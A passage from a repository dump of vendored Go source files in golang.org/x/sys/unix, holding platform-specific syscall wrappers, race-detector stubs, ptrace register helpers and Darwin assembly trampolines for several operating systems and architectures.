The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build ios 6 | // +build ios 7 | 8 | package unix 9 | 10 | func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) { 11 | return ENOTSUP 12 | } 13 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/race.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (darwin && race) || (linux && race) || (freebsd && race) 6 | // +build darwin,race linux,race freebsd,race 7 | 8 | package unix 9 | 10 | import ( 11 | "runtime" 12 | "unsafe" 13 | ) 14 | 15 | const raceenabled = true 16 | 17 | func raceAcquire(addr unsafe.Pointer) { 18 | runtime.RaceAcquire(addr) 19 | } 20 | 21 | func raceReleaseMerge(addr unsafe.Pointer) { 22 | runtime.RaceReleaseMerge(addr) 23 | } 24 | 25 | func raceReadRange(addr unsafe.Pointer, len int) { 26 | runtime.RaceReadRange(addr, len) 27 | } 28 | 29 | func raceWriteRange(addr unsafe.Pointer, len int) { 30 | runtime.RaceWriteRange(addr, len) 31 | } 32 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/race0.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || (darwin && !race) || (linux && !race) || (freebsd && !race) || netbsd || openbsd || solaris || dragonfly || zos 6 | // +build aix darwin,!race linux,!race freebsd,!race netbsd openbsd solaris dragonfly zos 7 | 8 | package unix 9 | 10 | import ( 11 | "unsafe" 12 | ) 13 | 14 | const raceenabled = false 15 | 16 | func raceAcquire(addr unsafe.Pointer) { 17 | } 18 | 19 | func raceReleaseMerge(addr unsafe.Pointer) { 20 | } 21 | 22 | func raceReadRange(addr unsafe.Pointer, len int) { 23 | } 24 | 25 | func raceWriteRange(addr unsafe.Pointer, len int) { 26 | } 27 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/readdirent_getdents.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || dragonfly || freebsd || linux || netbsd || openbsd 6 | // +build aix dragonfly freebsd linux netbsd openbsd 7 | 8 | package unix 9 | 10 | // ReadDirent reads directory entries from fd and writes them into buf. 11 | func ReadDirent(fd int, buf []byte) (n int, err error) { 12 | return Getdents(fd, buf) 13 | } 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/readdirent_getdirentries.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build darwin 6 | // +build darwin 7 | 8 | package unix 9 | 10 | import "unsafe" 11 | 12 | // ReadDirent reads directory entries from fd and writes them into buf. 13 | func ReadDirent(fd int, buf []byte) (n int, err error) { 14 | // Final argument is (basep *uintptr) and the syscall doesn't take nil. 15 | // 64 bits should be enough. (32 bits isn't even on 386). Since the 16 | // actual system call is getdirentries64, 64 is a good guess. 17 | // TODO(rsc): Can we use a single global basep for all calls? 18 | var base = (*uintptr)(unsafe.Pointer(new(uint64))) 19 | return Getdirentries(fd, buf, base) 20 | } 21 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package unix 6 | 7 | // Round the length of a raw sockaddr up to align it properly. 8 | func cmsgAlignOf(salen int) int { 9 | salign := SizeofPtr 10 | if SizeofPtr == 8 && !supportsABI(_dragonflyABIChangeVersion) { 11 | // 64-bit Dragonfly before the September 2019 ABI changes still requires 12 | // 32-bit aligned access to network subsystem. 13 | salign = 4 14 | } 15 | return (salen + salign - 1) & ^(salign - 1) 16 | } 17 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/str.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris 6 | // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris 7 | 8 | package unix 9 | 10 | func itoa(val int) string { // do it here rather than with fmt to avoid dependency 11 | if val < 0 { 12 | return "-" + uitoa(uint(-val)) 13 | } 14 | return uitoa(uint(val)) 15 | } 16 | 17 | func uitoa(val uint) string { 18 | var buf [32]byte // big enough for int64 19 | i := len(buf) - 1 20 | for val >= 10 { 21 | buf[i] = byte(val%10 + '0') 22 | i-- 23 | val /= 10 24 | } 25 | buf[i] = byte(val + '0') 26 | return string(buf[i:]) 27 | } 28 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build darwin && go1.12 && !go1.13 6 | // +build darwin,go1.12,!go1.13 7 | 8 | package unix 9 | 10 | import ( 11 | "unsafe" 12 | ) 13 | 14 | const _SYS_GETDIRENTRIES64 = 344 15 | 16 | func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) { 17 | // To implement this using libSystem we'd need syscall_syscallPtr for 18 | // fdopendir. However, syscallPtr was only added in Go 1.13, so we fall 19 | // back to raw syscalls for this func on Go 1.12. 20 | var p unsafe.Pointer 21 | if len(buf) > 0 { 22 | p = unsafe.Pointer(&buf[0]) 23 | } else { 24 | p = unsafe.Pointer(&_zero) 25 | } 26 | r0, _, e1 := Syscall6(_SYS_GETDIRENTRIES64, uintptr(fd), uintptr(p), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0) 27 | n = int(r0) 28 | if e1 != 0 { 29 | return n, errnoErr(e1) 30 | } 31 | return n, nil 32 | } 33 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_linux_amd64_gc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build amd64 && linux && gc 6 | // +build amd64,linux,gc 7 | 8 | package unix 9 | 10 | import "syscall" 11 | 12 | //go:noescape 13 | func gettimeofday(tv *Timeval) (err syscall.Errno) 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_linux_gc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build linux && gc 6 | // +build linux,gc 7 | 8 | package unix 9 | 10 | // SyscallNoError may be used instead of Syscall for syscalls that don't fail. 11 | func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) 12 | 13 | // RawSyscallNoError may be used instead of RawSyscall for syscalls that don't 14 | // fail. 15 | func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) 16 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build linux && gc && 386 6 | // +build linux,gc,386 7 | 8 | package unix 9 | 10 | import "syscall" 11 | 12 | // Underlying system call writes to newoffset via pointer. 13 | // Implemented in assembly to avoid allocation. 14 | func seek(fd int, offset int64, whence int) (newoffset int64, err syscall.Errno) 15 | 16 | func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno) 17 | func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno) 18 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_linux_gc_arm.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build arm && gc && linux 6 | // +build arm,gc,linux 7 | 8 | package unix 9 | 10 | import "syscall" 11 | 12 | // Underlying system call writes to newoffset via pointer. 13 | // Implemented in assembly to avoid allocation. 14 | func seek(fd int, offset int64, whence int) (newoffset int64, err syscall.Errno) 15 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build linux && gccgo && 386 6 | // +build linux,gccgo,386 7 | 8 | package unix 9 | 10 | import ( 11 | "syscall" 12 | "unsafe" 13 | ) 14 | 15 | func seek(fd int, offset int64, whence int) (int64, syscall.Errno) { 16 | var newoffset int64 17 | offsetLow := uint32(offset & 0xffffffff) 18 | offsetHigh := uint32((offset >> 32) & 0xffffffff) 19 | _, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0) 20 | return newoffset, err 21 | } 22 | 23 | func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) { 24 | fd, _, err := Syscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0) 25 | return int(fd), err 26 | } 27 | 28 | func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) { 29 | fd, _, err := RawSyscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0) 30 | return int(fd), err 31 | } 32 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build linux && gccgo && arm 6 | // +build linux,gccgo,arm 7 | 8 | package unix 9 | 10 | import ( 11 | "syscall" 12 | "unsafe" 13 | ) 14 | 15 | func seek(fd int, offset int64, whence int) (int64, syscall.Errno) { 16 | var newoffset int64 17 | offsetLow := uint32(offset & 0xffffffff) 18 | offsetHigh := uint32((offset >> 32) & 0xffffffff) 19 | _, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0) 20 | return newoffset, err 21 | } 22 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_netbsd_386.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build 386 && netbsd 6 | // +build 386,netbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: int32(nsec)} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: int32(usec)} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint32(fd) 20 | k.Filter = uint32(mode) 21 | k.Flags = uint32(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint32(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = int32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build amd64 && netbsd 6 | // +build amd64,netbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: nsec} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: int32(usec)} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint64(fd) 20 | k.Filter = uint32(mode) 21 | k.Flags = uint32(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint64(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = int32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go: -------------------------------------------------------------------------------- 1 | // Copyright 2013 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build arm && netbsd 6 | // +build arm,netbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: int32(nsec)} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: int32(usec)} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint32(fd) 20 | k.Filter = uint32(mode) 21 | k.Flags = uint32(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint32(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = int32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build arm64 && netbsd 6 | // +build arm64,netbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: nsec} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: int32(usec)} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint64(fd) 20 | k.Filter = uint32(mode) 21 | k.Flags = uint32(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint64(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = int32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_openbsd_386.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build 386 && openbsd 6 | // +build 386,openbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: int32(nsec)} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: int32(usec)} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint32(fd) 20 | k.Filter = int16(mode) 21 | k.Flags = uint16(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint32(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = uint32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | 40 | // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions 41 | // of openbsd/386 the syscall is called sysctl instead of __sysctl. 42 | const SYS___SYSCTL = SYS_SYSCTL 43 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build amd64 && openbsd 6 | // +build amd64,openbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: nsec} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: usec} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint64(fd) 20 | k.Filter = int16(mode) 21 | k.Flags = uint16(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint64(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = uint32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | 40 | // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions 41 | // of openbsd/amd64 the syscall is called sysctl instead of __sysctl. 42 | const SYS___SYSCTL = SYS_SYSCTL 43 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build arm && openbsd 6 | // +build arm,openbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: int32(nsec)} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: int32(usec)} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint32(fd) 20 | k.Filter = int16(mode) 21 | k.Flags = uint16(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint32(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = uint32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | 40 | // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions 41 | // of openbsd/arm the syscall is called sysctl instead of __sysctl. 42 | const SYS___SYSCTL = SYS_SYSCTL 43 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build arm64 && openbsd 6 | // +build arm64,openbsd 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: nsec} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: usec} 16 | } 17 | 18 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 19 | k.Ident = uint64(fd) 20 | k.Filter = int16(mode) 21 | k.Flags = uint16(flags) 22 | } 23 | 24 | func (iov *Iovec) SetLen(length int) { 25 | iov.Len = uint64(length) 26 | } 27 | 28 | func (msghdr *Msghdr) SetControllen(length int) { 29 | msghdr.Controllen = uint32(length) 30 | } 31 | 32 | func (msghdr *Msghdr) SetIovlen(length int) { 33 | msghdr.Iovlen = uint32(length) 34 | } 35 | 36 | func (cmsg *Cmsghdr) SetLen(length int) { 37 | cmsg.Len = uint32(length) 38 | } 39 | 40 | // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions 41 | // of openbsd/amd64 the syscall is called sysctl instead of __sysctl. 42 | const SYS___SYSCTL = SYS_SYSCTL 43 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_openbsd_mips64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package unix 6 | 7 | func setTimespec(sec, nsec int64) Timespec { 8 | return Timespec{Sec: sec, Nsec: nsec} 9 | } 10 | 11 | func setTimeval(sec, usec int64) Timeval { 12 | return Timeval{Sec: sec, Usec: usec} 13 | } 14 | 15 | func SetKevent(k *Kevent_t, fd, mode, flags int) { 16 | k.Ident = uint64(fd) 17 | k.Filter = int16(mode) 18 | k.Flags = uint16(flags) 19 | } 20 | 21 | func (iov *Iovec) SetLen(length int) { 22 | iov.Len = uint64(length) 23 | } 24 | 25 | func (msghdr *Msghdr) SetControllen(length int) { 26 | msghdr.Controllen = uint32(length) 27 | } 28 | 29 | func (cmsg *Cmsghdr) SetLen(length int) { 30 | cmsg.Len = uint32(length) 31 | } 32 | 33 | // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions 34 | // of OpenBSD the syscall is called sysctl instead of __sysctl. 35 | const SYS___SYSCTL = SYS_SYSCTL 36 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build amd64 && solaris 6 | // +build amd64,solaris 7 | 8 | package unix 9 | 10 | func setTimespec(sec, nsec int64) Timespec { 11 | return Timespec{Sec: sec, Nsec: nsec} 12 | } 13 | 14 | func setTimeval(sec, usec int64) Timeval { 15 | return Timeval{Sec: sec, Usec: usec} 16 | } 17 | 18 | func (iov *Iovec) SetLen(length int) { 19 | iov.Len = uint64(length) 20 | } 21 | 22 | func (msghdr *Msghdr) SetIovlen(length int) { 23 | msghdr.Iovlen = int32(length) 24 | } 25 | 26 | func (cmsg *Cmsghdr) SetLen(length int) { 27 | cmsg.Len = uint32(length) 28 | } 29 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_unix_gc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris) && gc && !ppc64le && !ppc64 6 | // +build darwin dragonfly freebsd linux netbsd openbsd solaris 7 | // +build gc 8 | // +build !ppc64le 9 | // +build !ppc64 10 | 11 | package unix 12 | 13 | import "syscall" 14 | 15 | func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) 16 | func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) 17 | func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) 18 | func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) 19 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build linux && (ppc64le || ppc64) && gc 6 | // +build linux 7 | // +build ppc64le ppc64 8 | // +build gc 9 | 10 | package unix 11 | 12 | import "syscall" 13 | 14 | func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) { 15 | return syscall.Syscall(trap, a1, a2, a3) 16 | } 17 | func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) { 18 | return syscall.Syscall6(trap, a1, a2, a3, a4, a5, a6) 19 | } 20 | func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) { 21 | return syscall.RawSyscall(trap, a1, a2, a3) 22 | } 23 | func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) { 24 | return syscall.RawSyscall6(trap, a1, a2, a3, a4, a5, a6) 25 | } 26 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go: -------------------------------------------------------------------------------- 1 | // Code generated by linux/mkall.go generatePtraceRegSet("arm64"). DO NOT EDIT. 2 | 3 | package unix 4 | 5 | import "unsafe" 6 | 7 | // PtraceGetRegSetArm64 fetches the registers used by arm64 binaries. 8 | func PtraceGetRegSetArm64(pid, addr int, regsout *PtraceRegsArm64) error { 9 | iovec := Iovec{(*byte)(unsafe.Pointer(regsout)), uint64(unsafe.Sizeof(*regsout))} 10 | return ptrace(PTRACE_GETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec))) 11 | } 12 | 13 | // PtraceSetRegSetArm64 sets the registers used by arm64 binaries. 14 | func PtraceSetRegSetArm64(pid, addr int, regs *PtraceRegsArm64) error { 15 | iovec := Iovec{(*byte)(unsafe.Pointer(regs)), uint64(unsafe.Sizeof(*regs))} 16 | return ptrace(PTRACE_SETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec))) 17 | } 18 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s: -------------------------------------------------------------------------------- 1 | // go run mkasm_darwin.go 386 2 | // Code generated by the command above; DO NOT EDIT. 3 | 4 | //go:build go1.13 5 | // +build go1.13 6 | 7 | #include "textflag.h" 8 | TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0 9 | JMP libc_fdopendir(SB) 10 | TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0 11 | JMP libc_closedir(SB) 12 | TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0 13 | JMP libc_readdir_r(SB) 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s: -------------------------------------------------------------------------------- 1 | // go run mkasm_darwin.go amd64 2 | // Code generated by the command above; DO NOT EDIT. 3 | 4 | //go:build go1.13 5 | // +build go1.13 6 | 7 | #include "textflag.h" 8 | TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0 9 | JMP libc_fdopendir(SB) 10 | TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0 11 | JMP libc_closedir(SB) 12 | TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0 13 | JMP libc_readdir_r(SB) 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s: -------------------------------------------------------------------------------- 1 | // go run mkasm_darwin.go arm 2 | // Code generated by the command above; DO NOT EDIT. 3 | 4 | //go:build go1.13 5 | // +build go1.13 6 | 7 | #include "textflag.h" 8 | TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0 9 | JMP libc_fdopendir(SB) 10 | TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0 11 | JMP libc_closedir(SB) 12 | TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0 13 | JMP libc_readdir_r(SB) 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s: -------------------------------------------------------------------------------- 1 | // go run mkasm_darwin.go arm64 2 | // Code generated by the command above; DO NOT EDIT. 3 | 4 | //go:build go1.13 5 | // +build go1.13 6 | 7 | #include "textflag.h" 8 | TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0 9 | JMP libc_fdopendir(SB) 10 | TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0 11 | JMP libc_closedir(SB) 12 | TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0 13 | JMP libc_readdir_r(SB) 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/ztypes_illumos_amd64.go: -------------------------------------------------------------------------------- 1 | // cgo -godefs types_illumos.go | go run mkpost.go 2 | // Code generated by the command above; see README.md. DO NOT EDIT. 3 | 4 | //go:build amd64 && illumos 5 | // +build amd64,illumos 6 | 7 | package unix 8 | 9 | const ( 